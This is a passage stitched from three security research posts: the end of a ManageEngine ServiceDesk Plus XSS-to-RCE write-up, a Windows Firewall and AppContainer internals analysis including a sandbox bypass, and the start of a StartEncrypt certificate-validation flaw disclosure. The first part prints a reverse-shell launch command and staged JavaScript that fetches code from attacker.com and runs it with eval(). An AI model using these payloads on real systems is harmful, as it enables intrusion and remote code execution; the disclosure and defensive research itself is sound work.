certutil -f -decode b64file ReverseTcpShell.class

And finally, I used the provided Java executable to launch a reverse shell that connects back to the attacker’s listener at IP:port.

C:\\PROGRA~1\\ManageEngine\\ServiceDesk\\jre\\bin\\java.exe ReverseTcpShell <attacker ip> <attacker port>

Chaining these Together

From a high level, an exploit chain looks like the following:

1. Send an XML asset file to SDP containing our malicious JavaScript code.
2. After a short period of time, SDP will process the XML file and add the asset.
3. When the administrator views the asset, the JavaScript fires. This can be encouraged by sending a link to the administrator.
4. The JavaScript will create a malicious custom scheduled task to execute in 1 minute.
5. After one minute, the scheduled task executes, and a reverse shell connects back to the attacker’s machine.

This is the basic overview of a full exploit chain. However, there was a wrench thrown in that I’d like to mention. Namely, there was a maximum length enforced. Due to the length of a reverse shell payload, this restriction required me to use a staged approach.

Let me show you.

Staging the Custom Schedule

In order to solve this problem, I set up an HTTP listener that, when contacted by my XSS payload, would send more JavaScript code back to the browser. The XSS would then call eval() on this code, thereby loading another stage of JavaScript code.

So basically, the initial XSS payload contains enough code to reach out to the attacker’s HTTP server, and downloads another stage of JavaScript to be executed using eval(). Something like this:

function loaded() {
 eval(this.responseText);
}

var req = new XMLHttpRequest();
req.addEventListener("load", loaded);
req.open("GET","http://attacker.com/more_js");
req.send(null);

Once the JavaScript downloads, the loaded() function fires. The one catch is that since we’re in the browser, a CORS header needs to be set by the attacker’s listener:

Access-Control-Allow-Origin: *

This will tell the browser it’s okay to load the attacker server’s content in the ServiceDesk Plus application, since they’re cross-origin. Using this strategy, a massive chunk of JavaScript can be loaded. With all of this in mind, a full exploit can be constructed like so:

1. Send an XML asset file to SDP containing our malicious JavaScript code.
2. After a short period of time, SDP will process the XML file and add the asset.
3. When the administrator views the asset, the JavaScript fires. This can be encouraged by sending a link to the administrator.
4. The XSS will download more JavaScript from the attacker’s HTTP server.
5. The downloaded JavaScript will create a malicious custom scheduled task to execute in 1 minute.
6. After one minute, the scheduled task executes, and a reverse shell connects back to the attacker’s machine.

Let’s see all of this in action:

https://www.youtube.com/watch?v=DhrJxVqmsIo

Wrapping Up

We’ve now seen how an unauthenticated attacker can exploit a cross-site scripting vulnerability to gain remote code execution in ManageEngine ServiceDesk Plus. As I said earlier, David Wells has managed to exploit a heap overflow in the AssetExplorer agent software. If you’re an SDP or AssetExplorer server administrator, this is the agent software that you would distribute to assets on the network. This vulnerability would allow an attacker to pivot from SDP to agents. As you might imagine this is a dangerous attack scenario.

ManageEngine did a solid job of patching. I reported the bugs on March 17, 2021. The XSS was patched by April 07, 2021, and the RCE was patched by June 1, 2021. That’s a fast turnaround!

For more detailed information on the vulnerabilities, take a look at our research advisories: TRA-2021–11 and TRA-2021–22.

Stored XSS to RCE Chain as SYSTEM in ManageEngine ServiceDesk Plus was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Posted by James Forshaw, Project Zero

Recently I've been delving into the inner workings of the Windows Firewall. This is interesting to me as it's used to enforce various restrictions such as whether AppContainer sandboxed applications can access the network. Being able to bypass network restrictions in AppContainer sandboxes is interesting as it expands the attack surface available to the application, such as being able to access services on localhost, as well as granting access to intranet resources in an Enterprise.

I recently discovered a configuration issue with the Windows Firewall which allowed the restrictions to be bypassed and allowed an AppContainer process to access the network. Unfortunately Microsoft decided it didn't meet the bar for a security bulletin so it's marked as WontFix.

As the mechanism that the Windows Firewall uses to restrict access to the network from an AppContainer isn't officially documented as far as I know, I'll provide the details on how the restrictions are implemented. This will provide the background to understanding why my configuration issue allowed for network access.

I'll also take the opportunity to give an overview of how the Windows Firewall functions and how you can use some of my tooling to inspect the current firewall configuration. This will provide security researchers with the information they need to better understand the firewall and assess its configuration to find other security issues similar to the one I reported. At the same time I'll note some interesting quirks in the implementation which you might find useful.

Windows Firewall Architecture Primer

Before we can understand how network access is controlled in an AppContainer we need to understand how the built-in Windows firewall functions. Prior to XP SP2 Windows didn't have a built-in firewall, and you would typically install a third-party firewall such as ZoneAlarm. These firewalls were implemented by hooking into Network Driver Interface Specification (NDIS) drivers or implementing user-mode Winsock Service Providers but this was complex and error prone.

While XP SP2 introduced the built-in firewall, the basis for the one used in modern versions of Windows was introduced in Vista as the Windows Filtering Platform (WFP). However, as a user you wouldn't typically interact directly with WFP. Instead you'd use a firewall product which exposes a user interface, and then configures WFP to do the actual firewalling. On a default installation of Windows this would be the Windows Defender Firewall. If you installed a third-party firewall this would replace the Defender component but the actual firewall would still be implemented through configuring WFP.

The diagram gives an overview of how various components in the OS are connected together to implement the firewall. A user would interact with the Windows Defender firewall using the GUI, or a command line interface such as PowerShell's NetSecurity module. This interface communicates with the Windows Defender Firewall Service (MPSSVC) over RPC to query and modify the firewall rules.

MPSSVC converts its ruleset to the lower-level WFP firewall filters and sends them over RPC to the Base Filtering Engine (BFE) service. These filters are then uploaded to the TCP/IP driver (TCPIP.SYS) in the kernel which is where the firewall processing is handled. The device objects (such as \Device\WFP) which the TCP/IP driver exposes are secured so that only the BFE service can access them. This means all access to the kernel firewall needs to be mediated through the service.

When an application, such as a Web Browser, creates a new network socket the AFD driver responsible for managing sockets will communicate with the TCP/IP driver to configure the socket for IP. At this point the TCP/IP driver will capture the security context of the creating process and store that for later use by the firewall. When an operation is performed on the socket, such as making or accepting a new connection, the firewall filters will be evaluated.

The evaluation is handled primarily by the NETIO driver as well as registered callout drivers. These callout drivers allow for more complex firewall rules to be implemented as well as inspecting and modifying network traffic. The drivers can also forward checks to user-mode services. As an example, the ability to forward checks to user mode allows the Windows Defender Firewall to display a UI when an unknown application listens on a wildcard address, as shown below.

The end result of the evaluation is whether the operation is permitted or blocked. The behavior of a block depends on the operation. If an outbound connection is blocked the caller is notified. If an inbound connection is blocked the firewall will drop the packets and provide no notification to the peer, such as a TCP Reset or ICMP response. This default drop behavior can be changed through a system wide configuration change. Let's dig into more detail on how the rules are configured for evaluation.

Layers, Sublayers and Filters

The firewall rules are configured using three types of object: layers, sublayers and filters as shown in the following diagram.

The firewall layer is used to categorize the network operation to be evaluated. For example there are separate layers for inbound and outbound packets. This is typically further differentiated by IP version, so there are separate IPv4 and IPv6 layers for inbound and outbound packets. While the firewall is primarily focussed on IP traffic there does exist limited MAC and Virtual Switch layers to perform specialist firewalling operations. You can find the list of pre-defined layers on MSDN here. As the WFP needs to know what layer handles which operation there's no way for additional layers to be added to the system by a third-party application.

When a packet is evaluated by a layer the WFP performs Filter Arbitration. This is a set of rules which determine the order of evaluation of the filters. First WFP enumerates all registered filters which are associated with the layer's unique GUID. Next, WFP groups the filters by their sublayer's GUID and orders the filter groupings by a weight value which was specified when the sublayer was registered. Finally, WFP evaluates each filter according to the order based on a weight value specified when the filter was registered.

For every filter, WFP checks if the list of conditions match the packet and its associated meta-data. If the conditions match then the filter performs a specified action, which can be one of the following:

• Permit
• Block
• Callout Terminating
• Callout Unknown
• Callout Inspection

If the action is Permit or Block then the filter evaluation for the current sublayer is terminated with that action as the result. If the action is a callout then WFP will invoke the filter's registered callout driver's classify function to perform additional checks. The classify function can evaluate the packet and its meta-data and specify a final result of Permit, Block or additionally Continue which indicates the filter should be ignored. In general if the action is Callout Terminating then it should only set Permit and Block, and if it's Callout Inspection then it should only set Continue. The Callout Unknown action is for callouts which might terminate or might not depending on the result of the classification.

Once a terminating filter has been evaluated WFP stops processing that sublayer. However, WFP will continue to process the remaining sublayers in the same way regardless of the final result. In general if any sublayer returns a Block result then the packet will be blocked, otherwise it'll be permitted. This means that if a higher priority sublayer's result is Permit, it can still be blocked by a lower-priority sublayer.

A filter can be configured with the FWPM_FILTER_FLAG_CLEAR_ACTION_RIGHT flag which indicates that the result should be considered “hard” allowing a higher priority filter to permit a packet which can't be overridden by a lower-priority blocking filter. The rules for the final result are even more complex than I make out including soft blocks and vetos, refer to the page in MSDN for more information.

To simplify the classification of network traffic, WFP provides a set of stateful layers which correspond to major network events such as TCP connection and port binding. The stateful filtering is referred to as Application Layer Enforcement (ALE). For example the FWPM_LAYER_ALE_AUTH_CONNECT_V4 layer will be evaluated when a TCP connection using IPv4 is being made.

For any given connection it will only be evaluated once, not for every packet associated with the TCP connection handshake. In general these ALE layers are the ones we'll focus on when inspecting the firewall configuration, as they're the most commonly used. The three main ALE layers you're going to need to inspect are the following:

What layers are used and in what order they are evaluated depend on the specific operation being performed. You can find the list of the layers for TCP packets here and UDP packets here. Now, let's dig into how filter conditions are defined and what information they can check.

Filter Conditions

Each filter contains an optional list of conditions which are used to match a packet. If no list is specified then the filter will always match any incoming packet and perform its defined action. If more than one condition is specified then the filter is only matched if all of the conditions match. If you have multiple conditions of the same type they're OR'ed together, which allows a single filter to match on multiple values.

Each condition contains three values:

• The layer field to check.
• The value to compare against.
• The match type, for example the packet value and the condition value are equal.

Each layer has a list of fields that will be populated whenever a filter's conditions are checked. The field might directly reflect a value from the packet, such as the destination IP address or the interface the packet is traversing. Or it could be a metadata value, such as the user identity of the process which created the socket. Some common fields are as follows:

The value to compare against the field can take different values depending on the field being checked. For example the field FWPM_CONDITION_IP_REMOTE_ADDRESS can be compared to IPv4 or IPv6 addresses depending on the layer it's used in. The value can also be a range, allowing a filter to match on an IP address within a bounded set of addresses.

The FWPM_CONDITION_ALE_USER_ID and FWPM_CONDITION_ALE_PACKAGE_ID conditions are based on the access token captured when creating the TCP or UDP socket. The FWPM_CONDITION_ALE_USER_ID stores a security descriptor which is used with an access check with the creator's token. If the token is granted access then the condition is considered to match. For FWPM_CONDITION_ALE_PACKAGE_ID the condition checks the package SID of the AppContainer token. If the token is not an AppContainer then the filtering engine sets the package SID to the NULL SID (S-1-0-0).

The FWPM_CONDITION_ALE_REMOTE_USER_ID is similar to the FWPM_CONDITION_ALE_USER_ID condition but compares against the remote authenticated user. In most cases sockets are not authenticated, however if IPsec is in use that can result in a remote user token being available to compare. It's also used in some higher-level layers such as RPC filters.

The match type can be one of the following:

• FWP_MATCH_EQUAL
• FWP_MATCH_EQUAL_CASE_INSENSITIVE
• FWP_MATCH_FLAGS_ALL_SET
• FWP_MATCH_FLAGS_ANY_SET
• FWP_MATCH_FLAGS_NONE_SET
• FWP_MATCH_GREATER
• FWP_MATCH_GREATER_OR_EQUAL
• FWP_MATCH_LESS
• FWP_MATCH_LESS_OR_EQUAL
• FWP_MATCH_NOT_EQUAL
• FWP_MATCH_NOT_PREFIX
• FWP_MATCH_PREFIX
• FWP_MATCH_RANGE

The match types should hopefully be self explanatory based on their names. How the match is interpreted depends on the field's type and the value being used to check against.

Inspecting the Firewall Configuration

We now have an idea of the basics of how WFP works to filter network traffic. Let's look at how to inspect the current configuration. We can't use any of the normal firewall commands or UIs such as the PowerShell NetSecurity module as I already mentioned these represent the Windows Defender view of the firewall.

Instead we need to use the RPC APIs BFE exposes to access the configuration, for example you can access a filter using the FwpmFilterGetByKey0 API. Note that the BFE maintains security descriptors to restrict access to WFP objects. By default nothing can be accessed by non-administrators, therefore you'd need to call the RPC APIs while running as an administrator.

You could implement your own tooling to call all the different APIs, but it'd be much easier if someone had already done it for us. For built-in tools the only one I know of is using netsh with the wfp namespace. For example to dump all the currently configured filters you can use the following command as an administrator:

This will print all filters in an XML format to the console. Be prepared to wait a while for the output to complete. You can also dump straight to a file. Of course you now need to interpret the XML results. It is possible to also specify certain parameters, such as local and remote addresses to reduce the output to only matching filters.

Processing an XML file doesn't sound too appealing. To make the firewall configuration easier to inspect I've added many of the BFE APIs to my NtObjectManager PowerShell module from version 1.1.32 onwards. The module exposes various commands which will return objects representing the current WFP configuration which you can easily use to inspect and group the results however you see fit.

Layer Configuration

Even though the layers are predefined in the WFP implementation it's still useful to be able to query the details about them. For this you can use the Get-FwLayer command.

The output shows the SDK name for the layer, if it has one, and the name of the layer that the BFE service has configured. The layer can be queried by its SDK name, its GUID or a numeric ID, which we will come back to later. As we mostly only care about the ALE layers then there's a special AleLayer parameter to query a specific layer without needing to remember the full name or ID.

Each layer exposes the list of fields which represent the conditions which can be checked in that layer, you can access the list through the Fields property. The output shown above contains a few of the condition types we saw earlier in the table of conditions. The output also shows the type of the condition and the data type you should provide when filtering on that condition.

You can also inspect the sublayers in the same way, using the Get-FwSubLayer command as shown above. The most useful information from the sublayer is the weight. As mentioned earlier this is used to determine the ordering of the associated filters. However, as we'll see you rarely need to query the weight yourself.

Filter Configuration

Enforcing the firewall rules is up to the filters. You can enumerate all filters using the Get-FwFilter command.

The default output shows the ID of a filter, the action type and the user defined name. The filter objects returned also contain the layer and sublayer identifiers as well as the list of matching conditions for the filter. As inspecting the filter is going to be the most common operation the module provides the Format-FwFilter command to format a filter object in a more readable format.

The formatted output contains the layer and sublayer information, the assigned weight of the filter and the list of conditions. The layer is FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 which handles new incoming connections. The sublayer is MICROSOFT_DEFENDER_SUBLAYER_WSH which is used to group Windows Service Hardening rules which apply regardless of the normal firewall configuration.

In this example the filter only matches on the socket creator process executable's path. The end result if the filter matches the current state is for the IPv4 TCP network connection to be blocked at the MICROSOFT_DEFENDER_SUBLAYER_WSH sublayer. As already mentioned it now won't matter if a lower priority layer would permit the connection if the block is enforced.

How can we determine the ordering of sublayers and filters? You could manually extract the weights for each sublayer and filter and try and order them, and hopefully the ordering you come up with matches what WFP uses. A much simpler approach is to specify a flag when enumerating filters for a particular layer to request the BFE APIs sort the filters using the canonical ordering.

The Sorted parameter specifies the flag to sort the filters. You can now go through the list of filters in order and try and work out what would be the matched filter based on some criteria you decide on. Again it'd be helpful if we could get the BFE service to do more of the hard work in figuring out what rules would apply given a particular process. For this we can specify some of the metadata that represents the connection being made and get the BFE service to only return filters which match on their conditions.

To specify the metadata we need to create an enumeration template using the New-FwFilterTemplate command. We specify the Connect IPv4 layer as well as requesting that the results are sorted. Using this template with the Get-FwFilter command returns 65 results (on my machine).

Next we add some metadata, first from the current powershell process. This populates the App ID with the executable path as well as token information such as the user ID and package ID of an AppContainer. We then add details about the target connection request, specifying a TCP connection to www.google.com on port 80. Finally we add some condition flags, we'll come back to these flags later.

Using this new template results in only 2 filters whose conditions will match the metadata. Of course depending on your current configuration the number might be different. In this case 2 filters is much easier to understand than 65. If we format those two filter we see the following:

Both of the two filters permit the connection and based on the name they're the default backstop when no other filters match. It's possible to configure each network profile with different default backstops. In this case the default is to permit outbound traffic. We have two of them because both match all the metadata we provided, although if we'd specified a profile other than Public then we'd only get a single filter.

Can we prove that this is the filter which matches a TCP connection? Fortunately we can: WFP supports gathering network events related to the firewall. An event includes the filter which permitted or denied the network request, and we can then compare it to our two filters to see if one of them matched. You can use the Get-FwNetEvent command to read the current circular buffer of events.

First we enable the ClassifyAllow event, which is generated when a firewall event is permitted. By default only firewall blocks are recorded using the ClassifyDrop event to avoid filling the small network event log with too much data. Next we make a connection to the Google web server we queried earlier to generate an event. We then disable the ClassifyAllow events again to reduce the risk we'll lose the event.

Next we can query for the current stored events using Get-FwNetEvent. To limit the network events returned to us we can specify a template in a similar way to when we queried for filters. In this case we create a new template using the New-FwNetEventTemplate command and copy the existing conditions from our filter template. We then add a condition to match on only ClassifyAllow events.

Formatting the results we can see the network connection event to TCP port 80. Crucially if you compare the FilterId value to the Id fields in the two enumerated filters we match the first filter. This gives us confidence that we have a basic understanding of how the filtering works. Let's move on to running some tests to determine how the AppContainer network restrictions are implemented through WFP.

Worth noting at this point that because the network event buffer can be small, of the order of 30-40 events depending on load, it's possible on a busy server that events might be lost before you query for them. You can get a real-time trace of events by using the Start-FwNetEventListener command to avoid losing events.

Callout Drivers

As mentioned a developer can implement their own custom functionality to inspect and modify network traffic. This functionality is used by various different products, ranging from AV to scan your network traffic for badness to NMAP's NPCAP capturing loopback traffic.

To set up a callout the developer needs to do two things. First they need to register its callback functions for the callout using the FwpmCalloutRegister API in the kernel driver. Second they need to create a filter to use the callout by specifying the providerContextKey GUID and one of the action types which invoke a callout.

You can query the list of registered callouts using the FwpmCalloutEnum0 API in user-mode. I expose this API through the Get-FwCallout command.

The above output shows the callouts listed by their callout ID numbers. The ID number is key to finding the callback functions in the kernel. There doesn't seem to be a way of enumerating the addresses of callout functions directly (at least from user mode). This article shows a basic approach to extract the callback functions using a kernel debugger, although it's a little out of date.

The NETIO driver stores all registered callbacks in a large array, the index being the callout ID. If you want to find a specific callout then find the base of the array using the description in the article then just calculate the offset based on a single callout structure and the index. For example on Windows 10 21H1 x64 the following command will dump a callout's classify callback function. Replace N with the callout ID, the magic numbers 198 and 50 are the offset into the gWfpGlobal global data table and the size of a callout entry which you can discover through analyzing the code.

If you're in kernel mode there's an undocumented KfdGetRefCallout function (and a corresponding KfdDeRefCallout to decrement the reference) exported by NETIO which will return a pointer to the internal callout structure based on the ID avoiding the need to extract the offsets from disassembly.

AppContainer Network Restrictions

The basics of accessing the network from an AppContainer sandbox is documented by Microsoft. Specifically the lowbox token used for the sandbox needs to have one or more capabilities enabled to grant access to the network. The three capabilities are:

• internetClient - Grants client access to the Internet
• internetClientServer - Grants client and server access to the Internet
• privateNetworkClientServer - Grants client and server access to local private networks.

Client Capabilities

Pretty much all Windows Store applications are granted the internetClient capability as accessing the Internet is a thing these days. Even the built-in calculator has this capability, presumably so you can fill in feedback on how awesome a calculator it is.

However, this shouldn't grant the ability to act as a network server, for that you need the internetClientServer capability. Note that Windows defaults to blocking incoming connections, so just because you have the server capability still doesn't ensure you can receive network connections. The final capability is privateNetworkClientServer which grants access to private networks as both a client and a server. What is the internet and what is private isn't made immediately clear, hopefully we'll find out from inspecting the firewall configuration.

In the above output we first create a lowbox token for testing the AppContainer access. In this example we don't provide any capabilities for the token so we're expecting the network connection should fail. Next we connect a TcpClient socket while impersonating the lowbox token, and the connection is immediately blocked with an error.

We then get the network event corresponding to the connection request to see what filter blocked the connection. Formatting the filter from the network event we find the “Block Outbound Default Rule”. This will block any AppContainer network connection, based on the FWPM_CONDITION_ALE_PACKAGE_ID condition which hasn't been permitted by higher priority firewall filters.

Like with the “Default Outbound” filter we saw earlier, this is a backstop if nothing else matches. Unlike that earlier filter the default is to block rather than permit the connection. Another thing to note is the sublayer name. For “Block Outbound Default Rule” it's MICROSOFT_DEFENDER_SUBLAYER_WSH which is used for built-in filters which aren't directly visible from the Defender firewall configuration. Whereas MICROSOFT_DEFENDER_SUBLAYER_FIREWALL is used for “Default Outbound”, which is a lower priority sublayer (based on its weight) and thus would never be evaluated due to the higher priority block.

Okay, we know how connections are blocked. Therefore there must be a higher priority filter which permits the connection within the MICROSOFT_DEFENDER_SUBLAYER_WSH sublayer. We could go back to manual inspection, but we might as well just see what the network event shows as the matching filter when we grant the internetClient capability.

In this example we create a new token using the same package SID but with internetClient capability. When we connect the socket we now no longer get an error and the connection is permitted. Checking for the ClassifyAllow event we find the “InternetClient Default Rule” filter matched the connection.

Looking at the conditions we can see that it will only match if the socket creator is in an AppContainer based on the FWPM_CONDITION_ALE_PACKAGE_ID condition. The FWPM_CONDITION_ALE_USER_ID also ensures that it will only match if the creator has the internetCapability capability which is S-1-15-3-1 in the SDDL format. This filter is what's granting access to the network.

One odd thing is in the FWPM_CONDITION_IP_REMOTE_ADDRESS condition. It seems to match on all possible IPv4 addresses. Shouldn't this exclude network addresses on our local “private” network? At the very least you'd assume this would block the reserved IP address ranges from RFC1918? The key to understanding this is the profile ID conditions, which are both set to Public. The computer I'm running these commands on has a single network interface configured to the public profile as shown:

Therefore the firewall is configured to treat all network addresses in the same context, granting the internetClient capability access to any address including your local “private” network. This might be unexpected. In fact if you enumerate all the filters on the machine you won't find any filter to match the privateNetworkClientServer capability and using the capability will not grant access to any network resource.

If you switch the network profile to Private, you'll find there's now three “InternetClient Default Rule” filters (note on Windows 11 there will only be one as it uses the OR'ing feature of conditions as mentioned above to merge the three rules together).

As you can see in the first filter, it covers addresses 0.0.0.0 to 10.0.0.0. The machine's private network is 10.0.0.0/8. The profile IDs are also now set to Private. The other two exclude the entire 10.0.0.0/8 network as well as the multicast group addresses from 224.0.0.0 to 240.0.0.0.

The profile ID conditions are important here if you have more than one network interface. For example if you have two, one Public and one Private, you would get a filter for the Public network covering the entire IP address range and the three Private ones excluding the private network addresses. The Public filter won't match if the network traffic is being sent from the Private network interface preventing the application without the right capability from accessing the private network.

Speaking of which, we can also now identify the filter which will match the private network capability. There's two, to cover the private network range and the multicast range. We'll just show one of them.

We can see in the FWPM_CONDITION_ALE_USER_ID condition that the connection would be permitted if the creator has the privateNetworkClientServer capability, which is S-1-15-3-3 in SDDL.

It is slightly ironic that the Public network profile is probably recommended even if you're on your own private network (Windows 11 even makes the recommendation explicit as shown below) in that it should reduce the exposed attack surface of the device from others on the network. However if an AppContainer application with the internetClient capability could be compromised it opens up your private network to access where the Private profile wouldn't.

Aside: one thing you might wonder, if your network interface is marked as Private and the AppContainer application only has the internetClient capability, what happens if your DNS server is your local router at 10.0.0.1? Wouldn't the application be blocked from making DNS requests? Windows has a DNS client service which typically is always running. This service is what usually makes DNS requests on behalf of applications as it allows the results to be cached. The RPC server which the service exposes allows callers which have any of the three network capabilities to connect to it and make DNS requests, avoiding the problem. Of course if the service is disabled in-process DNS lookups will start to be used, which could result in weird name resolving issues depending on your network configuration.

We can now understand how issue 2207 I reported to Microsoft bypasses the capability requirements. If in the MICROSOFT_DEFENDER_SUBLAYER_WSH sublayer for an outbound connection there are Permit filters which are evaluated before the “Block Outbound Default Rule” filter then it might be possible to avoid needing capabilities.

As we can see in the output there are quite a few Permit filters before the “Block Outbound Default Rule” filter, and of course I've also cropped the list to make it smaller. If we inspect the “Allow outbound TCP traffic from dmcertinst.exe” filter we find that it only matches on the App ID and the IP protocol. As it doesn't have an AppContainer specific checks, then any sockets created in the context of a dmcertinst process would be permitted to make TCP connections.

Once the “Allow outbound TCP traffic from dmcertinst.exe” filter matches the sublayer evaluation is terminated and it never reaches the “Block Outbound Default Rule” filter. This is fairly trivial to exploit, as long as the AppContainer process is allowed to spawn new processes, which is allowed by default.

Server Capabilities

What about the internetClientServer capability, how does that function? First, there's a second set of outbound filters to cover the capability with the same network addresses as the base internetClient capability. The only difference is the FWPM_CONDITION_ALE_USER_ID condition checks for the internetClientServer (S-1-15-3-2) capability instead. For inbound connections the FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 layer contains the filter.

The example shows the filter for a Public network interface granting an AppContainer application the ability to receive network connections. However, this will only be permitted if the socket creator has internetClientServer capability. Note, there would be similar rules for the private network if the network interface is marked as Private but only granting access with the privateNetworkClientServer capability.

As mentioned earlier just because an application has one of these capabilities doesn't mean it can receive network connections. The default configuration will block the inbound connection.  However, when an UWP application is installed and requires one of the two server capabilities, the AppX installer service registers the AppContainer profile with the Windows Defender Firewall service. This adds a filter to permit the AppContainer package to receive inbound connections. For example the following is for the Microsoft Photos application, which is typically installed by default:

The filter only checks that the package SID matches and that the socket creator is a specific user in an AppContainer. Note this rule doesn't do any checking on the executable file, remote IP address, port or profile ID. Once an installed AppContainer application is granted a server capability it can act as a server through the firewall for any traffic type or port.

A normal application could abuse this configuration to run a network service without needing the administrator access normally required to grant the executable access. All you'd need to do is create an arbitrary AppContainer process in the permitted package and grant it the internetClientServer and/or the privateNetworkClientServer capabilities. If there isn't an application installed which has the appropriate firewall rules a non-administrator user can install any signed application with the appropriate capabilities to add the firewall rules. While this clearly circumvents the expected administrator requirements for new listening processes it's presumably by design.

Localhost Access

One of the specific restrictions imposed on AppContainer applications is blocking access to localhost. The purpose of this is it makes it more difficult to exploit local network services which might not correctly handle AppContainer callers creating a sandbox escape. Let's test the behavior out and try to connect to a localhost service.

If you compare the error to when we tried to connect to an internet address without the appropriate capability you'll notice it's different. When we connected to the internet we got an immediate error indicating that access isn't permitted. However, for localhost we instead get a timeout error, which is preceded by multi-second delay. Why the difference? Getting the network event which corresponds to the connection and displaying the blocking filter shows something interesting.

The blocking filter is not in the connect layer as you might expect, instead it's in the receive/accept layer. This explains why we get a timeout rather than immediate failure: the “inbound” connection request is being dropped as per the default configuration. This means the TCP client waits for the response from the server, until it eventually hits the timeout limit.

The second interesting thing to note about the filter is it's not based on an IP address such as 127.0.0.1. Instead it's using a condition which checks for the IsLoopback condition flag (FWP_CONDITION_FLAG_IS_LOOPBACK in the SDK). This flag indicates that the connection is being made through the built-in loopback network, regardless of the destination address. Even if you access the public IP addresses for the local network interfaces the packets will still be routed through the loopback network and the condition flag will be set.

The user ID check is odd, in that the security descriptor matches either AppContainer or non-AppContainer processes. This is of course the point, if it didn't match both then it wouldn't block the connection. However, it's not immediately clear what its actual purpose is if it just matches everything. In my opinion, it adds a risk that the filter will be ignored if the socket creator has disabled the Everyone group.  This condition was modified for supporting LPAC over Windows 8, so it's presumably intentional.

You might ask, if the filter would block any loopback connection regardless of whether it's in an AppContainer, how do loopback connections work for normal applications? Wouldn't this filter always match and block the connection?  Unsurprisingly there are some additional permit filters before the blocking filter as shown below.

The three filters shown above only check for different condition flags, and you can find documentation for the flags on MSDN. Starting at the bottom we have a check for IsNonAppContainerLoopback. This flag is set on a connection when the loopback connection is between non-AppContainer created sockets. This filter is what grants normal applications loopback access. It's also why an application can listen on localhost even if it's not granted access to receive connections from the network in the firewall configuration.

In contrast the first filter checks for the IsAppContainerLoopback flag. Based on the documentation and the name, you might assume this would allow any AppContainer to use loopback to any other. However, based on testing this flag is only set if the two AppContainers have the same package SID. This is presumably to allow an AppContainer to communicate with itself or other processes within its package through loopback sockets.

This flag is also, I suspect, the reason that connecting to a loopback socket is handled in the receive layer rather than the connect layer. Perhaps WFP can't easily tell ahead of time whether both the connecting and receiving sockets will be in the same AppContainer package, so it delays resolving that until the connection has been received. This does lead to the unfortunate behavior that blocked loopback sockets timeout rather than fail immediately.

The final flag, IsReserved is more curious. MSDN of course says this is “Reserved for future use.”, and the future is now. Though checking back at the filters in Windows 8.1 also shows it being used, so if it was reserved it wasn't for very long. The obvious conclusion is this flag is really a “Microsoft Reserved” flag, by that I mean it's actually used but Microsoft is yet unwilling to publicly document it.

What is it used for? AppContainers are supposed to be a capability based system, where you can just add new capabilities to grant additional privileges. It would make sense to have a loopback capability to grant access, which could be restricted to only being used for debugging purposes. However, it seems that loopback access was so beyond the pale for the designers that instead you can only grant access for debug purposes through an administrator only API. Perhaps it's related?

First we add a loopback exemption for the LOOPBACK package name. We then look for the AppContainerLoopback filters in the connect layer. The one we're interested in is shown. The first thing to note is that the action type is set to CalloutInspection. This might seem slightly surprising, you would expect it'd do something more than inspecting the traffic.

The name of the callout, FWPM_CALLOUT_RESERVED_AUTH_CONNECT_LAYER_V4 gives the game away. The fact that it has RESERVED in the name can't be a coincidence. This callout is one implemented internally by Windows in the TCPIP!WfpAlepDbgLowboxSetByPolicyLoopbackCalloutClassify function. This name now loses all mystery and pretty much explains what its purpose is, which is to configure the connection so that the IsReserved flag is set when the receive layer processes it.

The user ID here is equally important. When you register the loopback exemption you only specify the package SID, which is shown in the output as the last “LOOPBACK” line. Therefore you'd assume you'd need to always run your code within that package. However, the penultimate line is “PACKAGE CAPABILITY\LOOPBACK” which is my module's way of telling you that this is the package SID, but converted to a capability SID. This is basically changing the first relative identifier in the SID from 2 to 3.

We can use this behavior to simulate a generic loopback exemption capability. It allows you to create an AppContainer sandboxed process which has access to localhost which isn't restricted to a particular package. This would be useful for applications such as Chrome to implement a network facing sandboxed process and would work from Windows 8 through 11. . Unfortunately it's not officially documented so can't be relied upon. An example demonstrating the use of the capability is shown below.

Conclusions

That wraps up my quick overview of how AppContainer network restrictions are implemented using the Windows Firewall. I covered the basics of the Windows Firewall as well as covered some of my tooling I wrote to do analysis of the configuration. This background information allowed me to explain why the issue I reported to Microsoft worked. I also pointed out some of the quirks of the implementation which you might find of interest.

Having a good understanding of how a security feature works is an important step towards finding security issues. I hope that by providing both the background and tooling other researchers can also find similar issues and try and get them fixed.

Recently, we found a critical vulnerability in StartCom’s new StartEncrypt tool, that allows an attacker to gain valid SSL certificates for domains he does not control. While there are some restrictions on what domains the attack can be applied to, domains where the attack will work include google.com, facebook.com, live.com, dropbox.com and others.

StartCom, known for its CA service under the name of StartSSL, has recently released the StartEncrypt tool. Modeled after LetsEncrypt, this service allows for the easy and free installation of SSL certificates on servers. In the current age of surveillance and cybercrime, this is a great step forwards, since it enables website owners to provide their visitors with better security at small effort and no cost.

However, there is a lot that can go wrong with the automated issuance of SSL certificates. Before someone is issued a certificate for their domain, say computest.nl, the CA needs to check that the request is done by someone who is actually in control of the domain. For “Extended Validation” certificates this involves a lot of paperwork and manual checking, but for simple, so-called “Domain Validated” certificates, often an automated check is used by sending an email to the domain or asking the user to upload a file. The CA has a lot of freedom in how the check is performed, but ultimately, the requester is provided with a certificate that provides the same security no matter which CA issued it.

StartEncrypt

So, StartEncrypt. In order to make the issuance of certificates easy, this tool runs on your server (Windows or Linux), detects your webserver configuration, and requests DV certificates for the domains that were found in your config. Then, the StartCom API does a HTTP request to the website at the domain you requested a certificate for, and checks for the presence of a piece of proof that you have access to that website. If the proof is found, the API returns a certificate to the client, which then installs it in your config.

However, it appears that the StartEncrypt tool did not receive proper attention from security-minded people in the design and implementation phases. While the client contains numerous vulnerabilities, one in particular allows the attacker to “trick” the validation step.

The first bug

The API checks if a user is authorized to obtain a certificate for a domain by downloading a signature from that domain, by default from the path /signfile. However, the client chooses that path during a HTTP POST request to that API.

A malicious client can specify a path to any file on the server for which a certificate is requested. This means that, for example, anyone can obtain a certificate for sites like dropbox.com and github.com where users can upload their own files.

That’s not all

While this is serious, most websites don’t allow you to upload a file and then have it presented back to you in raw format like github and dropbox do. Another issue in the API however allows for much wider exploitation of this issue: the API follows redirects. So, if the URL specified in the “verifyRes” parameter returns a redirect to another URL, the API will follow that until it gets to the proof. Even if the redirect goes off-domain. Since the first redirect was to the domain that is being verified, the API considers the proof correct even if it is redirected to a different website.

This means that an attacker can obtain an SSL certificate for any website that either:

• Allows users to upload files and serves them back raw, or
